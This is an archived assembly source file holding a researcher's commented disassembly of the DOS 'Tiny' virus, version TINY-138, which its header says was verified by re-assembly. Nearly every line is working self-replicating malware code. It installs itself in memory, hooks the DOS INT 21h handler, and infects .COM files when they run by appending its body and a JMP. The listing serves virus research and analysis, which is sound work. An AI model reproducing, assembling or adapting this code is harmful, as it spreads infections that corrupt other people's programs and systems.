home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-138.ASM < prev    next >
Assembly Source File  |  1990-09-15  |  4KB  |  168 lines

  1.     page    ,132
  2.     name    TINY138
  3.     title    The 'Tiny' virus, version TINY-138
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-138                  ║
  11. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. ; The original first 4 bytes of the infected file:
  36.  
  37. first4    db    0EBh, 2, 90, 90
  38.  
  39. v_entry:
  40.     mov    si,0FF        ; Initialize some registers
  41.     mov    di,offset start ; Put the addres of program start in DI
  42.     mov    bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
  43.  
  44. ; The virus will be installed in memory at
  45. ; address 0050:0100h (i.e., at segment 60h):
  46.  
  47.     mov    cx,50
  48.  
  49.     add    si,[si+2]    ; Determine the start addres of the virus body
  50.  
  51.     push    di        ; Now a Near RET instruction will run the prg.
  52.  
  53.     movsw            ; Restore the original first 4 bytes
  54.     movsw
  55.  
  56.     mov    es,cx        ; Point ES:DI at 0050:0100h
  57.     cmpsb            ; Check if the virus is present in memory
  58.     jz    run        ; Just run the program if so
  59.  
  60. ; Virus not in memory. Install it there:
  61.  
  62.     dec    si        ; Correct SI & DI to point at the start of
  63.     dec    di        ;  virus code and to destination address
  64.     rep    movsw        ; Move the virus there
  65.  
  66.     mov    es,cx        ; ES := 0
  67.  
  68. ; Move the INT 21h handler to INT 32h and
  69. ; install int_21 as new INT 21h handler.
  70. ; By the way, now DI == 1A4h (i.e., 69h*4):
  71.  
  72.     xchg    ax,bx        ; Thransfer INT 21h vector to INT 69h,
  73.     xchg    ax,cx        ;  preserving AX
  74. lp:
  75.     xchg    ax,cx        ; Get a word
  76.     xchg    ax,es:[di-(69-21)*4]    ; Swap the two words
  77.     stosw            ; Save the word
  78.     jcxz    lp        ; Loop until done (two times)
  79.  
  80.     xchg    ax,bx        ; Restore AX (to keep progs as DISKCOPY happy)
  81.  
  82. run:
  83.     push    ds        ; Restore ES
  84.     pop    es
  85.     ret            ; And exit (go to CS:100h)
  86.  
  87. int_21:             ; New INT 21h handler
  88.     cmp    ax,4B00     ; EXEC function call?
  89.     jne    end_21        ; Exit if not
  90.  
  91.     push    ax        ; Save registers used
  92.     push    bx
  93.     push    dx
  94.     push    ds
  95.     push    es
  96.  
  97.     mov    ax,3D02     ; Open the file for both reading and writting
  98.     call    do_int21
  99.     jc    end_exec    ; Exit on error
  100.  
  101.     cbw            ; Zero AH
  102.     cwd            ; Zero DX
  103.     mov    bx,si        ; Save handle in BX
  104.     mov    ds,ax        ; Set DS and ES to 60h,
  105.     mov    es,ax        ;  the virus data segment
  106.  
  107.     mov    ah,3F        ; Read the first 4 bytes
  108.     int    69
  109.  
  110. ; Check whether the file is already infected or is an .EXE file.
  111. ; The former contains the character `M' in its 3rd byte and
  112. ; the latter contains it either in the 0th or in the 1st byte.
  113.  
  114.     mov    al,'M'          ; Look for `M'
  115.     repne    scasb
  116.     jz    close        ; Exit if file not suitable for infection
  117.  
  118.     mov    al,2        ; Seek to the end of file
  119.     call    lseek        ; SI now contains the file size
  120.  
  121.     mov    cl,v_len    ; Length of virus body
  122.     int    69        ; Append the virus to the file (AH is now 40h)
  123.  
  124.     mov    al,0E9        ; Near JMP opcode
  125.     stosb            ; Form the first instruction of the file
  126.     inc    si        ; Add 1 to file size for the JMP
  127.     xchg    ax,si        ; Move it in AX
  128.     stosw            ; Form the JMP's opperand
  129.     mov    al,'M'          ; Add a `M' character to mark the file
  130.     stosb            ;  as infected
  131.  
  132.     xchg    ax,dx        ; Zero AX
  133.     call    lseek        ; Seek to the beginning
  134.     int    69        ; AH is 40h, write the JMP instruction
  135.  
  136. close:
  137.     mov    ah,3E        ; Close the file
  138.     int    69
  139.  
  140. end_exec:
  141.     pop    es        ; Restore used registers
  142.     pop    ds
  143.     pop    dx
  144.     pop    bx
  145.     pop    ax
  146.  
  147. ; Exit through the original INT 21h handler:
  148.  
  149. end_21:
  150.     jmp    dword ptr cs:[69*4]
  151.  
  152. lseek:
  153.     mov    ah,42        ; Seek operation
  154.     cwd            ; Zero DX
  155. do_int21:
  156.     xor    cx,cx        ; External entry for Open
  157.     int    69
  158.     mov    cl,4        ; 4 bytes will be read/written
  159.     xchg    ax,si        ; Store AX in SI
  160.     mov    ax,4060     ; Prepare AH for Write
  161.     xor    di,di        ; Zero DI
  162.     ret            ; Done
  163.  
  164. v_end    equ    $        ; End of virus body
  165.  
  166. code    ends
  167.     end    start
  168.